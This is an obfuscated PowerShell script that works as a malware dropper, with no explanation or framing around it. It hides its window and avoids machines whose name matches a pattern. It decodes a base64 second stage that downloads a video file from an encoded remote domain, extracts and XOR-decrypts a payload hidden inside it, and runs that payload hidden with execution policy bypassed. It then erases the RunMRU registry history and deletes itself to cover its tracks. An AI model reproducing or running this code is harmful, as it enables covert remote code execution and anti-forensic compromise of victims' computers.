<# #> $vhYfamszJw7Z6 = [string]::Concat('Comp','uter','Name') $V69e6osAo8yHE = [Environment]::GetEnvironmentVariable($vhYfamszJw7Z6) $OKMo6qrJrtzl = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('KkNMRU4q')) if ($V69e6osAo8yHE -like $OKMo6qrJrtzl) { return } $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $aiSobtR7w = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $aiSobtR7w $AC6snpVbC5Tz = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoXzJjN2NkMTIxYzA4ZA=='))) if (Test-Path $AC6snpVbC5Tz) { exit 0 } $__chB64 = 'JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJwpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbgppZiAoLW5vdCAoJ19fWDdhMDMxNmVmYjInIC1hcyBbdHlwZV0pKSB7CkFkZC1UeXBlIC1SZWZlcmVuY2VkQXNzZW1ibGllcyBTeXN0ZW0uSU8uQ29tcHJlc3Npb24gQCcKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsKdXNpbmcgU3lzdGVtLlRleHQ7CnB1YmxpYyBzdGF0aWMgY2xhc3MgX19YN2EwMzE2ZWZiMiB7CiAgc3RhdGljIGludCBSZWFkSW50KGJ5dGVbXSBiLCBpbnQgbykgewogICAgcmV0dXJuICgoYltvXSAmIDB4RkYpIDw8IDI0KSB8ICgoYltvICsgMV0gJiAweEZGKSA8PCAxNikgfCAoKGJbbyArIDJdICYgMHhGRikgPDwgOCkgfCAoYltvICsgM10gJiAweEZGKTsKICB9CiAgc3RhdGljIHN0cmluZyBEZWNyeXB0QmxvYihieXRlW10gYmxvYikgewogICAgYnl0ZVtdIG1hZ2ljID0gbmV3IGJ5dGVbXSB7IDEyMiwxNDIsMTk3LDE5MyB9OwogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBtYWdpYy5MZW5ndGg7IGkrKykgaWYgKGJsb2JbaV0gIT0gbWFnaWNbaV0pIHRocm93IG5ldyBFeGNlcHRpb24oImJhZCBibG9iIik7CiAgICBpbnQga2V5TGVuID0gKGJsb2JbNF0gPDwgOCkgfCBibG9iWzVdOwogICAgaW50IG8gPSA2OwogICAgdmFyIGtleSA9IG5ldyBieXRlW2tleUxlbl07CiAgICBCdWZmZXIuQmxvY2tDb3B5KGJsb2IsIG8sIGtleSwgMCwga2V5TGVuKTsgbyArPSBrZXlMZW47CiAgICBpbnQgZGF0YUxlbiA9IFJlYWRJbnQoYmxvYiwgbyk7IG8gKz0gNDsKICAgIHZhciBlbmMgPSBuZXcgYnl0ZVtkYXRhTGVuXTsKICAgIEJ1ZmZlci5CbG9ja0NvcHkoYmxvYiwgbywgZW5jLCAwLCBkYXRhTGVuKTsKICAgIGZvciAoaW50IGkgPSAwOyBpIDwgZGF0YUxlbjsgaSsrKSBlbmNbaV0gXj0ga2V5W2kgJSBrZXlMZW5dOwogICAgdXNpbmcgKHZhciBjbXMgPSBuZXcgTWVtb3J5U3RyZWFtKGVuYykpCiAgICB1c2luZyAodmFyIGd6ID0gbmV3IEdaaXBTdHJlYW0oY21zLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcykpCiAgICB1c2luZyAodmFyIHNyID0gbmV3IFN0cmVhbVJlYWRlcihneiwgRW5jb2RpbmcuVVRGOCkpIHsKICAgICAgcmV0dXJuIHNyLlJlYWRUb0VuZCgpOwogICAgfQogIH0KICBzdGF0aWMgYnl0ZVtdIEZpbmRVdWlkUGF5bG9hZChieXRlW10gZGF0YSwgYnl0ZVtdIGlkKSB7CiAgICBpbnQgaSA9IDA7CiAgICB3aGlsZSAoaSArIDggPD0gZGF0YS5MZW5ndGgpIHsKICAgICAgaW50IHNpemUgPSBSZWFkSW50KGRhdGEsIGkpOwogICAgICBpZiAoc2l6ZSA8IDI0IHx8IGkgKyBzaXplID4gZGF0YS5MZW5ndGgpIHsgaSsrOyBjb250aW51ZTsgfQogICAgICBpZiAoZGF0YVtpICsgNF0gPT0gKGJ5dGUpJ3UnICYmIGRhdGFbaSArIDVdID09IChieXRlKSd1JyAmJiBkYXRhW2kgKyA2XSA9PSAoYnl0ZSknaScgJiYgZGF0YVtpICsgN10gPT0gKGJ5dGUpJ2QnKSB7CiAgICAgICAgYm9vbCBvayA9IHRydWU7CiAgICAgICAgZm9yIChpbnQgaiA9IDA7IGogPCAxNjsgaisrKSBpZiAoZGF0YVtpICsgOCArIGpdICE9IGlkW2pdKSB7IG9rID0gZmFsc2U7IGJyZWFrOyB9CiAgICAgICAgaWYgKG9rKSB7CiAgICAgICAgICB2YXIgcGF5bG9hZCA9IG5ldyBieXRlW3NpemUgLSAyNF07CiAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGRhdGEsIGkgKyAyNCwgcGF5bG9hZCwgMCwgcGF5bG9hZC5MZW5ndGgpOwogICAgICAgICAgcmV0dXJuIHBheWxvYWQ7CiAgICAgICAgfQogICAgICB9CiAgICAgIGlmIChzaXplIDwgOCkgeyBpKys7IGNvbnRpbnVlOyB9CiAgICAgIGkgKz0gc2l6ZTsKICAgIH0KICAgIHRocm93IG5ldyBFeGNlcHRpb24oInV1aWQgYm94IG1pc3NpbmciKTsKICB9CiAgcHVibGljIHN0YXRpYyBzdHJpbmcgRnJvbUNhcnJpZXIoYnl0ZVtdIHJhdywgc3RyaW5nIGtleSwgYnl0ZVtdIHV1aWRJZCkgewogICAgaWYgKHV1aWRJZCAhPSBudWxsICYmIHV1aWRJZC5MZW5ndGggPT0gMTYpIHsKICAgICAgcmV0dXJuIERlY3J5cHRCbG9iKEZpbmRVdWlkUGF5bG9hZChyYXcsIHV1aWRJZCkpOwogICAgfQogICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiYmFkIGNhcnJpZXIiKTsKICB9Cn0KJ0AgLUVycm9yQWN0aW9uIFN0b3AKfQokX19jaFV1aWQgPSBbYnl0ZVtdXSg3Miw5Myw3NywyNTEsMTY0LDIyLDc1LDI5LDE4NiwxNDEsMTI2LDMsMTcwLDE4MSw0MywxMDcpCiRfX3VybCA9ICQoW1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2JXOTBiM0oyWldOb2FXeGxjell1ZEc5d0wyNWxkeTV0Y0RRPScpKSkKCnRyeSB7IFtOZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXTo6VGxzMTIgfSBjYXRjaCB7fQokX19yYXdCeXRlcyA9ICRudWxsCnRyeSB7CiAgICAkX19kbCA9IFtOZXQuSHR0cC5IdHRwQ2xpZW50XTo6bmV3KCkKICAgICRfX2RsLlRpbWVvdXQgPSBbVGltZVNwYW5dOjpGcm9tU2Vjb25kcygxMjApCiAgICAkX19yYXdCeXRlcyA9ICRfX2RsLkdldEJ5dGVBcnJheUFzeW5jKCRfX3VybCkuR2V0QXdhaXRlcigpLkdldFJlc3VsdCgpCiAgICAkX19kbC5EaXNwb3NlKCkKfSBjYXRjaCB7fQppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgewogICAgdHJ5IHsKICAgICAgICAkX193YyA9IE5ldy1PYmplY3QgTmV0LldlYkNsaWVudAogICAgICAgICRfX3djLkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpJykKICAgICAgICAkX19yYXdCeXRlcyA9ICRfX3djLkRvd25sb2FkRGF0YSgkX191cmwpCiAgICB9IGNhdGNoIHt9Cn0KCmlmICgtbm90ICRfX3Jhd0J5dGVzIC1vciAkX19yYXdCeXRlcy5MZW5ndGggLWx0IDY0KSB7CiAgICB0cnkgewogICAgICAgICRfX3Jlc3AgPSAmKCQoW1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1NXNTJiMnRsTFZkbFlsSmxjWFZsYzNRPScpKSkpIC1VcmkgJF9fdXJsIC1Vc2VCYXNpY1BhcnNpbmcgLVRpbWVvdXRTZWMgMTIwCiAgICAgICAgaWYgKCRfX3Jlc3AgLWFuZCAkX19yZXNwLlJhd0NvbnRlbnRTdHJlYW0pIHsKICAgICAgICAgICAgJF9fcmF3Qnl0ZXMgPSAkX19yZXNwLlJhd0NvbnRlbnRTdHJlYW0uVG9BcnJheSgpCiAgICAgICAgfQogICAgfSBjYXRjaCB7fQp9CmlmICgtbm90ICRfX3Jhd0J5dGVzIC1vciAkX19yYXdCeXRlcy5MZW5ndGggLWx0IDY0KSB7IGV4aXQgMSB9CgokX19wYXlsb2FkID0gW19fWDdhMDMxNmVmYjJdOjpGcm9tQ2FycmllcigkX19yYXdCeXRlcywgImRhdGEiLCAkX19jaFV1aWQpCiRfX2NoUHMxID0gSm9pbi1QYXRoICRlbnY6VEVNUCAoW2d1aWRdOjpOZXdHdWlkKCkuVG9TdHJpbmcoJ04nKSArICcucHMxJykKW0lPLkZpbGVdOjpXcml0ZUFsbFRleHQoJF9fY2hQczEsICRfX3BheWxvYWQsIChOZXctT2JqZWN0IFN5c3RlbS5UZXh0LlVURjhFbmNvZGluZyAkZmFsc2UpKQpTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAncG93ZXJzaGVsbC5leGUnIC1Bcmd1bWVudExpc3QgQCgnLU5vUHJvZmlsZScsJy1FeGVjdXRpb25Qb2xpY3knLCdCeXBhc3MnLCctV2luZG93U3R5bGUnLCdIaWRkZW4nLCctRmlsZScsJF9fY2hQczEpIC1XaW5kb3dTdHlsZSBIaWRkZW4gLVdhaXQKdHJ5IHsgUmVtb3ZlLUl0ZW0gLUxpdGVyYWxQYXRoICRfX2NoUHMxIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSB9IGNhdGNoIHt9CnRyeSB7CiAgICAkcnVuTXJ1UGF0aCA9ICdIS0NVOlxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxFeHBsb3JlclxSdW5NUlUnCiAgICBpZiAoVGVzdC1QYXRoICRydW5NcnVQYXRoKSB7CiAgICAgICAgUmVtb3ZlLUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkcnVuTXJ1UGF0aCAtTmFtZSAqIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlCiAgICB9Cn0gY2F0Y2gge30KdHJ5IHsgUmVtb3ZlLUl0ZW0gLUxpdGVyYWxQYXRoICRQU0NvbW1hbmRQYXRoIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSB9IGNhdGNoIHt9CmV4aXQK' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chPath = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.ps1') [IO.File]::WriteAllText($__chPath, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-WindowStyle','Hidden','-File',$__chPath) -WindowStyle Hidden exit